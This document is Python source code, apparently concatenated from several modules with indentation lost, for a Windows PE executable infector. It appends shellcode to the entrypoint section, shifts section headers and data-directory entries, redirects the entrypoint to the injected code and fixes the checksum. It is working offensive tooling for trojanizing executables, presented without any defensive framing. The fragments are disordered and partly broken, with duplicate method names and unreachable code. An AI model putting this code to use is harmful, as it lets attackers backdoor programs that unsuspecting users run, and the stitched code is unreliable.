def __adjust_debug(self, header_offset):
offset_to_debug_rva_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_DEBUG_RVA
debug_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_debug_rva_within_header)
if debug_rva == 0x0:
return
debug_raw = Win32BinaryUtils.convert_rva_to_raw(self.binary_data, header_offset, debug_rva)
current_debug_raw = debug_raw
debug_size = MultiByteHandler.get_dword_given_offset(self.binary_data, header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_DEBUG_SIZE)
number_of_entries = debug_size / (Win32BinaryOffsetsAndSizes.NUMBER_OF_DWORDS_ON_DEBUG_ENTRY*4)
for entry_index in range(0, number_of_entries):
if self.rva_delta != 0:
offset_to_address_of_raw_data_within_debug_directory = debug_raw + Win32BinaryOffsetsAndSizes.OFFSET_TO_ADDRESS_OF_RAW_DATA_WITHIN_DEBUG_DIRECTORY
address_of_raw_data = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_address_of_raw_data_within_debug_directory)
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_address_of_raw_data_within_debug_directory, address_of_raw_data + self.rva_delta)
offset_to_pointer_to_raw_data_within_debug_directory = debug_raw + Win32BinaryOffsetsAndSizes.OFFSET_TO_POINTER_TO_RAW_DATA_WITHIN_DEBUG_DIRECTORY
pointer_to_raw_data = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_pointer_to_raw_data_within_debug_directory)
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_pointer_to_raw_data_within_debug_directory, pointer_to_raw_data + len(self.shell_code))
current_debug_raw += Win32BinaryOffsetsAndSizes.NUMBER_OF_DWORDS_ON_DEBUG_ENTRY*0x4
if self.rva_delta != 0:
# Adjusting RVA on Data Directories header.
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_debug_rva_within_header, debug_rva + self.rva_delta)
def rva_is_after_entrypoint_and_requires_change(binary, header_offset,
rva):
#For entrypoint
entrypoint_rva_offset_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_ENTRYPOINT_RVA
entrypoint_rva = MultiByteHandler.get_dword_given_offset(
binary, entrypoint_rva_offset_within_header)
entrypoint_section_header_index_and_offset = Win32BinaryUtils.get_raw_offset_for_header_of_section_containing_given_rva(
binary, header_offset, entrypoint_rva)
offset_of_header_of_section_containing_entrypoint = entrypoint_section_header_index_and_offset[
1]
entrypoint_virtual_section_rva_offset = offset_of_header_of_section_containing_entrypoint + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER
entrypoint_virtual_section_rva = MultiByteHandler.get_dword_given_offset(
binary, entrypoint_virtual_section_rva_offset)
#For given RVA
offset_of_header_of_section_containing_given_rva = Win32BinaryUtils.get_raw_offset_for_header_of_section_containing_given_rva(
binary, header_offset, rva)[1]
#If it is None, it means the RVA is beyond the last section
if offset_of_header_of_section_containing_given_rva == None:
return True
virtual_section_rva_offset_for_section_containing_given_rva = offset_of_header_of_section_containing_given_rva + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER
virtual_section_rva_for_section_containing_given_rva = MultiByteHandler.get_dword_given_offset(
binary,
virtual_section_rva_offset_for_section_containing_given_rva)
if virtual_section_rva_for_section_containing_given_rva > entrypoint_virtual_section_rva:
return True
def get_raw_offset_for_header_of_section_containing_given_rva(
binary, header_offset, rva):
number_of_sections_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_NUMBER_OF_SECTIONS
number_of_sections = MultiByteHandler.get_word_given_offset(
binary, number_of_sections_offset)
current_header_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_BEGINNING_OF_SECTION_HEADERS
for section_index in range(0, number_of_sections):
virtual_section_size_offset = current_header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_VIRTUAL_SIZE_WITHIN_SECTION_HEADER
virtual_section_size = MultiByteHandler.get_dword_given_offset(
binary, virtual_section_size_offset)
virtual_section_rva_offset = current_header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER
virtual_section_rva = MultiByteHandler.get_dword_given_offset(
binary, virtual_section_rva_offset)
virtual_end_of_section_rva = virtual_section_rva + virtual_section_size
if (rva >= virtual_section_rva) and (rva <
virtual_end_of_section_rva):
return (section_index, current_header_offset)
current_header_offset += Win32BinaryOffsetsAndSizes.SIZE_OF_SECTION_HEADER
return (None, None)
def __adjust_base_relocation_table(self, header_offset):
offset_to_base_relocation_table_rva_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_BASE_RELOCATION_TABLE_RVA
base_relocation_table_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_base_relocation_table_rva_within_header)
if base_relocation_table_rva == 0x0:
return
offset_to_base_relocation_table_size = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_BASE_RELOCATION_TABLE_SIZE
base_relocation_table_size = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_base_relocation_table_size)
base_relocation_table_raw = Win32BinaryUtils.convert_rva_to_raw(self.binary_data, header_offset, base_relocation_table_rva)
current_base_relocation_table_raw = base_relocation_table_raw
while current_base_relocation_table_raw < base_relocation_table_raw + base_relocation_table_size:
rva_of_block = MultiByteHandler.get_dword_given_offset(self.binary_data, current_base_relocation_table_raw)
size_of_block = MultiByteHandler.get_dword_given_offset(self.binary_data, current_base_relocation_table_raw + 0x4)
if not Win32BinaryUtils.rva_is_after_entrypoint_and_requires_change(self.binary_data, header_offset, rva_of_block):
current_base_relocation_table_raw += size_of_block
continue
type_rva_offset = current_base_relocation_table_raw + 0x8 #Type RVA entries start two dwords after the beginning of the block
number_of_type_rva_entries = (int)((size_of_block - 0x8)/0x2)
for type_rva_index in range(0, number_of_type_rva_entries):
type_rva = MultiByteHandler.get_word_given_offset(self.binary_data, type_rva_offset)
if type_rva != 0x0:
MultiByteHandler.set_word_given_offset(self.binary_data, type_rva_offset, type_rva + self.rva_delta)
type_rva_offset += 0x2
MultiByteHandler.set_dword_given_offset(self.binary_data, current_base_relocation_table_raw, rva_of_block + self.rva_delta)
current_base_relocation_table_raw += size_of_block
# Adjusting RVA on Data Directories header.
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_base_relocation_table_rva_within_header, base_relocation_table_rva + self.rva_delta)
def __adjust_tls_table(self, header_offset):
offset_to_tls_table_rva_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_TLS_TABLE_RVA
tls_table_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_tls_table_rva_within_header)
if tls_table_rva == 0x0 or self.rva_delta == 0:
return
tls_table_raw = Win32BinaryUtils.convert_rva_to_raw(self.binary_data, header_offset, tls_table_rva)
offset_to_start_address_of_raw_data_within_tls_directory = tls_table_raw + Win32BinaryOffsetsAndSizes.OFFSET_TO_START_ADDRESS_OF_RAW_DATA_WITHIN_TLS_DIRECTORY
start_address_of_raw_data = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_start_address_of_raw_data_within_tls_directory)
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_start_address_of_raw_data_within_tls_directory, start_address_of_raw_data + self.rva_delta)
offset_to_end_address_of_raw_data_within_tls_directory = tls_table_raw + Win32BinaryOffsetsAndSizes.OFFSET_TO_END_OF_ADDRESS_OF_RAW_DATA_WITHIN_TLS_DIRECTORY
end_address_of_raw_data = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_end_address_of_raw_data_within_tls_directory)
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_end_address_of_raw_data_within_tls_directory, end_address_of_raw_data + self.rva_delta)
offset_to_address_of_index_within_tls_directory = tls_table_raw + Win32BinaryOffsetsAndSizes.OFFSET_TO_ADDRESS_OF_INDEX_WITHIN_TLS_DIRECTORY
address_of_index = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_address_of_index_within_tls_directory)
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_address_of_index_within_tls_directory, address_of_index + self.rva_delta)
offset_to_address_of_callbacks_within_tls_directory = tls_table_raw + Win32BinaryOffsetsAndSizes.OFFSET_TO_ADDRESS_OF_CALLBACKS_WITHIN_TLS_DIRECTORY
address_of_callbacks = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_address_of_callbacks_within_tls_directory)
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_address_of_callbacks_within_tls_directory, address_of_callbacks + self.rva_delta)
# Adjusting RVA on Data Directories header.
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_tls_table_rva_within_header, tls_table_rva + self.rva_delta)
def modify_binary(self):
header_offset = MultiByteHandler.get_dword_given_offset(self.binary_data, Win32BinaryOffsetsAndSizes.OFFSET_TO_PE_HEADER_OFFSET)
#We must get the offsets for the location where the shellcode will be inserted before inserting it and before changing the headers.
entrypoint_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_ENTRYPOINT_RVA)
raw_offset_of_header_of_section_containing_entrypoint = Win32BinaryUtils.get_raw_offset_for_header_of_section_containing_given_rva(self.binary_data, header_offset, entrypoint_rva)[1]
entrypoint_section_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, raw_offset_of_header_of_section_containing_entrypoint + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER)
entrypoint_raw_section_offset = MultiByteHandler.get_dword_given_offset(self.binary_data, raw_offset_of_header_of_section_containing_entrypoint + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RAW_OFFSET_WITHIN_SECTION_HEADER)
entrypoint_raw_section_size = MultiByteHandler.get_dword_given_offset(self.binary_data, raw_offset_of_header_of_section_containing_entrypoint + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RAW_SIZE_WITHIN_SECTION_HEADER)
rva_for_shell_code = entrypoint_section_rva + entrypoint_raw_section_size
self.__file_align_shellcode(header_offset, raw_offset_of_header_of_section_containing_entrypoint, entrypoint_raw_section_size, entrypoint_rva - rva_for_shell_code)
self.__set_rva_delta_for_section_alignment(raw_offset_of_header_of_section_containing_entrypoint)
self.__adjust_data_directories(header_offset)
self.__adjust_section_headers(header_offset)
self.__adjust_standard_coff_fields(header_offset)
self.__append_data_at_offset(self.shell_code, entrypoint_raw_section_offset + entrypoint_raw_section_size)
self.__adjust_windows_specific_headers(header_offset)
# Redirect execution to shellcode
self.__overwrite_entrypoint_rva(header_offset, rva_for_shell_code + self.rva_delta)
self.__update_checksum(header_offset)
return self.binary_data
def __adjust_section_headers(self, header_offset):
number_of_sections_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_NUMBER_OF_SECTIONS
number_of_sections = MultiByteHandler.get_word_given_offset(
self.binary_data, number_of_sections_offset)
# Moving to the next section header
current_section_header_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_BEGINNING_OF_SECTION_HEADERS
for section_index in range(0, number_of_sections):
if self.rva_delta != 0:
virtual_section_rva_offset = current_section_header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER
virtual_section_rva = MultiByteHandler.get_dword_given_offset(
self.binary_data,
current_section_header_offset + Win32BinaryOffsetsAndSizes.
OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER)
virtual_section_rva = (
virtual_section_rva +
self.rva_delta) if virtual_section_rva != 0 else 0
MultiByteHandler.set_dword_given_offset(
self.binary_data, virtual_section_rva_offset,
virtual_section_rva)
raw_section_offset_offset = current_section_header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RAW_OFFSET_WITHIN_SECTION_HEADER
raw_section_offset = MultiByteHandler.get_dword_given_offset(
self.binary_data, raw_section_offset_offset)
raw_section_offset = (
raw_section_offset +
Win32BinaryOffsetsAndSizes.SIZE_OF_SECTION_HEADER +
self.header_padding) if raw_section_offset != 0 else 0
MultiByteHandler.set_dword_given_offset(self.binary_data,
raw_section_offset_offset,
raw_section_offset)
current_section_header_offset += Win32BinaryOffsetsAndSizes.SIZE_OF_SECTION_HEADER
def __set_rva_delta(self, header_offset):
"""
:param header_offset:
:return: This class returns nothing. It is meant to check if it is possible to write the new header between the last header and the first section.
"""
#The header is smaller than this but this is adjusted and therefore padded to file alignment. The next section starts right after
current_size_of_headers = MultiByteHandler.get_dword_given_offset(
self.binary_data, header_offset +
Win32BinaryOffsetsAndSizes.OFFSET_TO_SIZE_OF_HEADERS)
new_size_of_headers_unpadded = current_size_of_headers + Win32BinaryOffsetsAndSizes.SIZE_OF_SECTION_HEADER
padding_for_new_header = Win32BinaryUtils.compute_padding_size_for_file_alignment(
self.binary_data, header_offset, new_size_of_headers_unpadded)
self.header_padding = padding_for_new_header
new_size_of_headers = new_size_of_headers_unpadded + padding_for_new_header
#I have to check if the RAW size of the header crosses the RVA for the text section. For now, i can ignore. However i need to pad the header.
rva_for_first_section = MultiByteHandler.get_dword_given_offset(
self.binary_data, header_offset +
Win32BinaryOffsetsAndSizes.OFFSET_TO_BEGINNING_OF_SECTION_HEADERS +
Win32BinaryOffsetsAndSizes.
OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER)
if new_size_of_headers > rva_for_first_section:
print(
"Added section crossing RVA for first section. This mode will not work. Leaving..."
)
sys.exit(1)
'''
#virtual_rva_delta = Win32BinaryUtils.compute_padding_size_for_section_alignment(self.binary_data, header_offset, new_size_of_headers)
#self.rva_delta = new_size_of_headers + virtual_rva_delta - rva_for_first_section
'''
return
def __adjust_load_config_table(self, header_offset):
offset_to_load_config_table_rva_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_LOAD_CONFIG_TABLE_RVA
load_config_table_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_load_config_table_rva_within_header)
if load_config_table_rva == 0x0 or self.rva_delta == 0:
return
load_config_table_raw = Win32BinaryUtils.convert_rva_to_raw(self.binary_data, header_offset, load_config_table_rva)
offset_to_lock_prefix_table_va_within_load_config_directory = load_config_table_raw + Win32BinaryOffsetsAndSizes.OFFSET_TO_LOCK_PREFIX_TABLE_VA_WITHIN_LOAD_CONFIG_DIRECTORY
lock_prefix_table_va = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_lock_prefix_table_va_within_load_config_directory)
if lock_prefix_table_va != 0x0:
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_lock_prefix_table_va_within_load_config_directory, lock_prefix_table_va + self.rva_delta)
offset_to_security_cookie_va_within_load_config_directory = load_config_table_raw + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECURITY_COOKIE_VA_WITHIN_LOAD_CONFIG_DIRECTORY
security_cookie_va = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_security_cookie_va_within_load_config_directory)
if security_cookie_va != 0x0:
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_security_cookie_va_within_load_config_directory, security_cookie_va + self.rva_delta)
offset_to_se_handler_table_va_within_load_config_directory = load_config_table_raw + Win32BinaryOffsetsAndSizes.OFFSET_TO_SE_HANDLER_TABLE_VA_WITHIN_LOAD_CONFIG_DIRECTORY
se_handler_table_va = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_se_handler_table_va_within_load_config_directory)
if se_handler_table_va != 0x0:
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_se_handler_table_va_within_load_config_directory, se_handler_table_va + self.rva_delta)
# Adjusting RVA on Data Directories header.
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_load_config_table_rva_within_header, load_config_table_rva + self.rva_delta)
def __adjust_resource_table(self, header_offset, raw_offset_for_directory_header):
resource_table_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_RESOURCE_TABLE_RVA)
original_raw_offset_for_resource_table = Win32BinaryUtils.convert_rva_to_raw(self.binary_data, header_offset, resource_table_rva)
raw_offset_for_current_directory = None
# Function being called for the first time
if raw_offset_for_directory_header != 0:
raw_offset_for_current_directory = raw_offset_for_directory_header
else:
raw_offset_for_current_directory = original_raw_offset_for_resource_table
raw_offset_for_current_directory_entry = raw_offset_for_current_directory + Win32BinaryOffsetsAndSizes.OFFSET_TO_FIRST_DIRECTORY_ENTRY_WITHIN_RESOURCE_DIRECTORY_HEADER
number_of_named_entries = MultiByteHandler.get_word_given_offset(self.binary_data, raw_offset_for_current_directory + Win32BinaryOffsetsAndSizes.OFFSET_TO_NUMBER_OF_NAMED_ENTRIES_WITHIN_RESOURCE_DIRECTORY_HEADER)
number_of_id_entries = MultiByteHandler.get_word_given_offset(self.binary_data, raw_offset_for_current_directory + Win32BinaryOffsetsAndSizes.OFFSET_TO_NUMBER_OF_ID_ENTRIES_WITHIN_RESOURCE_DIRECTORY_HEADER)
for entry_index in range(0, number_of_named_entries + number_of_id_entries):
offset_to_directory_or_data_entry = MultiByteHandler.get_dword_given_offset(self.binary_data, raw_offset_for_current_directory_entry + 0x4)
# print("Offset to directory or data entry:" + hex(offset_to_directory_or_data_entry))
if offset_to_directory_or_data_entry & 0x80000000 == 0x80000000: # It is a directory so we call this function again
self.__adjust_resource_table(header_offset, original_raw_offset_for_resource_table + offset_to_directory_or_data_entry & 0x7FFFFFFF)
else:
resource_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, original_raw_offset_for_resource_table + offset_to_directory_or_data_entry)
MultiByteHandler.set_dword_given_offset(self.binary_data, original_raw_offset_for_resource_table + offset_to_directory_or_data_entry, resource_rva + self.rva_delta)
raw_offset_for_current_directory_entry += 0x8
def has_relocation_table(binary_data):
header_offset = MultiByteHandler.get_dword_given_offset(
binary_data, Win32BinaryOffsetsAndSizes.OFFSET_TO_PE_HEADER_OFFSET)
offset_to_base_relocation_table_rva_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_BASE_RELOCATION_TABLE_RVA
base_relocation_table_rva = MultiByteHandler.get_dword_given_offset(
binary_data, offset_to_base_relocation_table_rva_within_header)
return True if base_relocation_table_rva != 0x0 else False
def convert_rva_to_raw(binary, header_offset, rva):
section_header_offset = Win32BinaryUtils.get_raw_offset_for_header_of_section_containing_given_rva(
binary, header_offset, rva)[1]
virtual_section_rva_offset = section_header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER
virtual_section_rva = MultiByteHandler.get_dword_given_offset(
binary, virtual_section_rva_offset)
raw_section_offset_offset = section_header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RAW_OFFSET_WITHIN_SECTION_HEADER
raw_section_offset = MultiByteHandler.get_dword_given_offset(
binary, raw_section_offset_offset)
return rva - virtual_section_rva + raw_section_offset
def __adjust_standard_coff_fields(self, header_offset):
size_of_code_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SIZE_OF_CODE
current_size_of_code = MultiByteHandler.get_dword_given_offset(self.binary_data, size_of_code_offset)
MultiByteHandler.set_dword_given_offset(self.binary_data, size_of_code_offset, current_size_of_code + len(self.shell_code))
base_of_code_rva_offset_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_BASE_OF_CODE_RVA
current_base_of_code_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, base_of_code_rva_offset_within_header)
offset_of_header_of_section_containing_entrypoint = Win32BinaryUtils.get_raw_offset_for_header_of_section_containing_given_rva(self.binary_data, header_offset, MultiByteHandler.get_dword_given_offset(self.binary_data, header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_ENTRYPOINT_RVA))[1]
entrypoint_section_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_of_header_of_section_containing_entrypoint + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER)
if current_base_of_code_rva > entrypoint_section_rva:
MultiByteHandler.set_dword_given_offset(self.binary_data, base_of_code_rva_offset_within_header, current_base_of_code_rva + self.rva_delta)
def __adjust_standard_coff_fields_and_coff_header(self, header_offset,
size_of_new_section):
# Set size of code
size_of_code_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SIZE_OF_CODE
current_size_of_code = MultiByteHandler.get_dword_given_offset(
self.binary_data, size_of_code_offset)
MultiByteHandler.set_dword_given_offset(
self.binary_data, size_of_code_offset,
current_size_of_code + size_of_new_section)
# Adjust number of sections
number_of_sections_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_NUMBER_OF_SECTIONS
number_of_sections = MultiByteHandler.get_word_given_offset(
self.binary_data, number_of_sections_offset)
number_of_sections += 1
MultiByteHandler.set_word_given_offset(self.binary_data,
number_of_sections_offset,
number_of_sections)
if self.rva_delta != 0:
# Adjust address of entrypoint
address_of_entrypoint = MultiByteHandler.get_dword_given_offset(
self.binary_data, header_offset +
Win32BinaryOffsetsAndSizes.OFFSET_TO_ENTRYPOINT_RVA)
address_of_entrypoint += self.rva_delta
MultiByteHandler.set_dword_given_offset(
self.binary_data, header_offset +
Win32BinaryOffsetsAndSizes.OFFSET_TO_ENTRYPOINT_RVA,
address_of_entrypoint)
# Adjust BaseOfCode
base_of_code_rva = MultiByteHandler.get_dword_given_offset(
self.binary_data, header_offset +
Win32BinaryOffsetsAndSizes.OFFSET_TO_BASE_OF_CODE_RVA)
base_of_code_rva += self.rva_delta
MultiByteHandler.set_dword_given_offset(
self.binary_data, header_offset +
Win32BinaryOffsetsAndSizes.OFFSET_TO_BASE_OF_CODE_RVA,
base_of_code_rva)
# Adjust BaseOfData
base_of_data_rva = MultiByteHandler.get_dword_given_offset(
self.binary_data, header_offset +
Win32BinaryOffsetsAndSizes.OFFSET_TO_BASE_OF_DATA_RVA)
base_of_data_rva += self.rva_delta
MultiByteHandler.set_dword_given_offset(
self.binary_data, header_offset +
Win32BinaryOffsetsAndSizes.OFFSET_TO_BASE_OF_DATA_RVA,
base_of_data_rva)
def modify_binary(self):
header_offset = MultiByteHandler.get_dword_given_offset(
self.binary_data,
Win32BinaryOffsetsAndSizes.OFFSET_TO_PE_HEADER_OFFSET)
shell_code_generator_instance = self.shell_code_generator_class()
#Temporary solution. Type returns classobject
if str(self.binary_modifier_class).split(
'.')[-1] == "Win32SectionInjector":
shell_code = shell_code_generator_instance.get_base_shell_code(0x0)
print("Running Win32SectionInjector")
(rva_for_region, raw_offset_for_region
) = Win32BinaryUtils.get_executable_region_rva_and_raw_offset(
self.binary_data, header_offset, len(shell_code))
return self.binary_modifier_class(
self.binary_data, shell_code_generator_instance,
rva_for_region, raw_offset_for_region).modify_binary()
if None in (rva_for_region, raw_offset_for_region):
print("Memory search failed.")
return None
else:
print("Running {0}".format(
str(self.binary_modifier_class).split('.')[-1]))
return self.binary_modifier_class(
self.binary_data,
shell_code_generator_instance).modify_binary()
def compute_padding_size_for_section_alignment(binary_data, header_offset,
size_or_rva):
section_alignment = MultiByteHandler.get_dword_given_offset(
binary_data, header_offset +
Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_ALIGNMENT)
mod_result = size_or_rva % section_alignment
return (section_alignment - mod_result) if mod_result != 0x0 else 0x0
def get_rva_and_virtual_size_for_last_section(binary, header_offset):
number_of_sections_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_NUMBER_OF_SECTIONS
number_of_sections = MultiByteHandler.get_word_given_offset(
binary, number_of_sections_offset)
#Jumping to last header
beginning_of_section_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_BEGINNING_OF_SECTION_HEADERS
beginning_of_section_header += Win32BinaryOffsetsAndSizes.SIZE_OF_SECTION_HEADER * (
number_of_sections - 1)
rva_for_last_section = MultiByteHandler.get_dword_given_offset(
binary, beginning_of_section_header + Win32BinaryOffsetsAndSizes.
OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER)
virtual_size_of_last_section = MultiByteHandler.get_dword_given_offset(
binary, beginning_of_section_header + Win32BinaryOffsetsAndSizes.
OFFSET_TO_SECTION_VIRTUAL_SIZE_WITHIN_SECTION_HEADER)
return (rva_for_last_section, virtual_size_of_last_section)
def __adjust_export_table(self, header_offset):
offset_to_export_table_rva_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_EXPORT_TABLE_RVA
export_table_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_export_table_rva_within_header)
if export_table_rva == 0x0 or self.rva_delta == 0:
return
export_table_raw = Win32BinaryUtils.convert_rva_to_raw(self.binary_data, header_offset, export_table_rva)
# Adjusting name RVA
offset_to_name_rva_within_export_directory_table = export_table_raw + Win32BinaryOffsetsAndSizes.OFFSET_TO_NAME_RVA_WITHIN_EXPORT_DIRECTORY_TABLE
name_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_name_rva_within_export_directory_table)
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_name_rva_within_export_directory_table, name_rva + self.rva_delta)
# Adjusting ordinal table rva
offset_to_ordinal_table_rva_within_export_directory_table = export_table_raw + Win32BinaryOffsetsAndSizes.OFFSET_TO_ORDINAL_TABLE_RVA_WITHIN_EXPORT_DIRECTORY_TABLE
ordinal_table_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_ordinal_table_rva_within_export_directory_table)
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_ordinal_table_rva_within_export_directory_table, ordinal_table_rva + self.rva_delta)
# Adjusting function table RVAs
offset_to_address_table_rva_within_export_directory_table = export_table_raw + Win32BinaryOffsetsAndSizes.OFFSET_TO_ADDRESS_TABLE_RVA_WITHIN_EXPORT_DIRECTORY_TABLE
address_table_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_address_table_rva_within_export_directory_table)
offset_to_number_of_functions_within_export_directory_table = export_table_raw + Win32BinaryOffsetsAndSizes.OFFSET_TO_NUMBER_OF_FUNCTIONS_WITHIN_EXPORT_DIRECTORY_TABLE
number_of_functions = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_number_of_functions_within_export_directory_table)
function_table_raw = Win32BinaryUtils.convert_rva_to_raw(self.binary_data, header_offset, address_table_rva)
for functions_index in range(0, number_of_functions):
function_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, function_table_raw)
MultiByteHandler.set_dword_given_offset(self.binary_data, function_table_raw, function_rva + self.rva_delta)
function_table_raw += 0x4
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_address_table_rva_within_export_directory_table, address_table_rva + self.rva_delta)
# Adjusting name table RVAs
offset_to_name_pointer_table_rva_within_export_directory_table = export_table_raw + Win32BinaryOffsetsAndSizes.OFFSET_TO_NAME_POINTER_TABLE_RVA_WITHIN_EXPORT_DIRECTORY_TABLE
name_pointer_table_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_name_pointer_table_rva_within_export_directory_table)
offset_to_number_of_names_within_export_directory_table = export_table_raw + Win32BinaryOffsetsAndSizes.OFFSET_TO_NUMBER_OF_NAMES_WITHIN_EXPORT_DIRECTORY_TABLE
number_of_names = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_number_of_names_within_export_directory_table)
name_table_raw = Win32BinaryUtils.convert_rva_to_raw(self.binary_data, header_offset, name_pointer_table_rva)
for names_index in range(0, number_of_names):
name_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, name_table_raw)
MultiByteHandler.set_dword_given_offset(self.binary_data, name_table_raw, name_rva + self.rva_delta)
name_table_raw += 0x4
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_name_pointer_table_rva_within_export_directory_table, name_pointer_table_rva + self.rva_delta)
def __adjust_import_address_table(self, header_offset):
offset_to_import_address_table_rva_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_IMPORT_ADDRESS_TABLE_RVA
import_address_table_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_import_address_table_rva_within_header)
if import_address_table_rva == 0x0 or self.rva_delta == 0:
return
# Adjusting RVA on Data Directories header.
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_import_address_table_rva_within_header, import_address_table_rva + self.rva_delta)
def __adjust_certificate_table(self, header_offset):
offset_to_certificate_table_rva = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_CERTIFICATE_TABLE_RAW
certificate_table_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_certificate_table_rva)
if certificate_table_rva == 0x0:
return
# Adjusting RVA on Data Directories header.
MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_certificate_table_rva, certificate_table_rva + len(self.shell_code))
def __adjust_resource_table_stub(self, header_offset):
self.__adjust_resource_table(header_offset, 0)
# Adjusting RVA on Data Directories header.
offset_to_resource_table_rva_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_RESOURCE_TABLE_RVA
resource_table_rva = MultiByteHandler.get_dword_given_offset(
self.binary_data, offset_to_resource_table_rva_within_header)
MultiByteHandler.set_dword_given_offset(
self.binary_data, offset_to_resource_table_rva_within_header,
resource_table_rva + self.rva_delta)
def __adjust_exception_table(self, header_offset):
offset_to_exception_table_rva_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_EXCEPTION_TABLE_RVA
exception_table_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_exception_table_rva_within_header)
if exception_table_rva == 0x0:
return
else:
raise NotImplementedError
# Adjusting RVA on Data Directories header.
MultiByteHandler.set_dword_given_offset(self.binary, offset_to_exception_table_rva_within_header, exception_table_rva + self.rva_delta)
def __adjust_architecture_data(self, header_offset):
